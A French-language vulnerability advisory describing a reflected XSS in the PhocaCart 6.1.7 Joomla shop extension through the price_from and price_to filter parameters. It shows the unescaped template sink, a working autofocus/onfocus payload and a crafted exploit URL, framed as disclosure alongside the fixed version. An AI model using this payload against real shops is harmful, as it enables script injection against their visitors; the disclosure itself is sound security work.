
XSS réfléchi via les paramètres de filtre price_from et price_to dans PhocaCart
price_from / price_to dans PhocaCartPhocaCart ≤ 6.1.7 — Un attaquant non authentifié injecte du JavaScript arbitraire via une URL de filtre de prix contrefaite
PhocaCart 6.1.7 pour Joomla est vulnérable à une injection de scripts intersites (XSS) réfléchie via les paramètres GET price_from et price_to lorsque le module mod_phocacart_filter est installé et publié. Les paramètres sont traités avec le filtre d'entrée de Joomla, qui applique uniquement — il n'applique pas . Les valeurs brutes sont renvoyées directement dans les attributs HTML du formulaire de filtre de prix rendu par le module .
'string'strip_tags()htmlspecialchars()value=""mod_phocacart_filterUn attaquant envoie une URL contrefaite à une victime. Lorsque la victime charge la page, le gestionnaire d'événements injecté s'exécute dans son navigateur. Aucune authentification n'est requise. L'attaque nécessite que mod_phocacart_filter (un module distribué séparément) soit installé et publié.
| COMPOSANT | VULNÉRABLE | TESTÉ SUR | CORRIGÉ |
|---|---|---|---|
| PhocaCart (com_phocacart) + mod_phocacart_filter | ≤ 6.1.7 | Joomla 5.4.7 + PhocaCart 6.1.7 + mod_phocacart_filter 6.1.6 | 6.1.8 |
Type : XSS réfléchie (CWE-79)
Authentification requise : Aucune — frontend public de la boutique
Jeton CSRF requis : Non (requête GET)
Fichier sink : site/layouts/form_filter_horizontal_text.php:65,71
Le filtre d'entrée 'string' de Joomla appelle strip_tags() — il supprime les balises HTML mais laisse les caractères spéciaux HTML tels que ", ' et > non encodés. Les paramètres GET price_from et price_to sont récupérés avec ce filtre et stockés dans $data['getparams']. Les fichiers de template renvoient ces valeurs directement dans les attributs value="" sans appeler htmlspecialchars(), ce qui permet une injection dans le contexte d'attribut.
Flux de données — de la source au sink :
GET ?price_from=" onmouseover="alert(document.domain)
filter.php:831 $app->getInput()->get('price_from', '', 'string')
└─ Le filtre 'string' de Joomla = strip_tags() uniquement
strip_tags('" onmouseover="alert(1)') → '" onmouseover="alert(1)' [inchangé !]
filter.php:494 $inA[] = $v // aucun encodage
└─ $data['getparams'] = ['" onmouseover="alert(document.domain)']
form_filter_horizontal_text.php:65 :
└─ <input type="text" value="<?php echo $d['getparams'][0]; ?>" /> // → PAS de htmlspecialchars()
→ Rendu : value="" onmouseover="alert(document.domain)"
→ XSS déclenchée au survol (mouseover)
FORM_FILTER_HORIZONTAL_TEXT.PHP:65 — SINK VULNÉRABLE
<input type="text" class="form-control" name="pricefrom"
value="<?php echo $d['getparams'][0]; ?>" <!-- PAS de htmlspecialchars() -->
id="phPriceFrom..." />
Le même modèle de sink existe également dans form_filter_text.php:81,87 (variante de mise en page verticale). Les paramètres price_from et price_to sont tous deux également vulnérables.
L'attaquant construit une URL ciblant la vue des articles de la boutique avec une charge utile de gestionnaire d'événements injectée dans le paramètre price_from. La charge utile sort du contexte d'attribut value="".
Charge utile (brute) : " autofocus onfocus="alert(document.domain)
Encodée URL : %22%20autofocus%20onfocus%3D%22alert(document.domain)
URL contrefaite :
http://CIBLE/index.php?option=com_phocacart&view=items
&price_from=%22%20autofocus%20onfocus%3D%22alert(document.domain)
Lorsque la victime ouvre l'URL contrefaite, la page des articles de la boutique affiche le formulaire de filtre de prix. Les attributs injectés sont présents dans l'élément <input>. Avec la charge utile autofocus onfocus, le JavaScript s'exécute immédiatement au chargement de la page sans aucune autre interaction de l'utilisateur.
HTML rendu (vulnérable) :
<input type="text" class="form-control" name="pricefrom"
value="" autofocus onfocus="alert(document.domain)"
id="phPriceFromTopricefrom" />

La XSS se déclenche dans le navigateur de la victime — alert(document.domain) confirme le contexte d'exécution dans le frontend de la boutique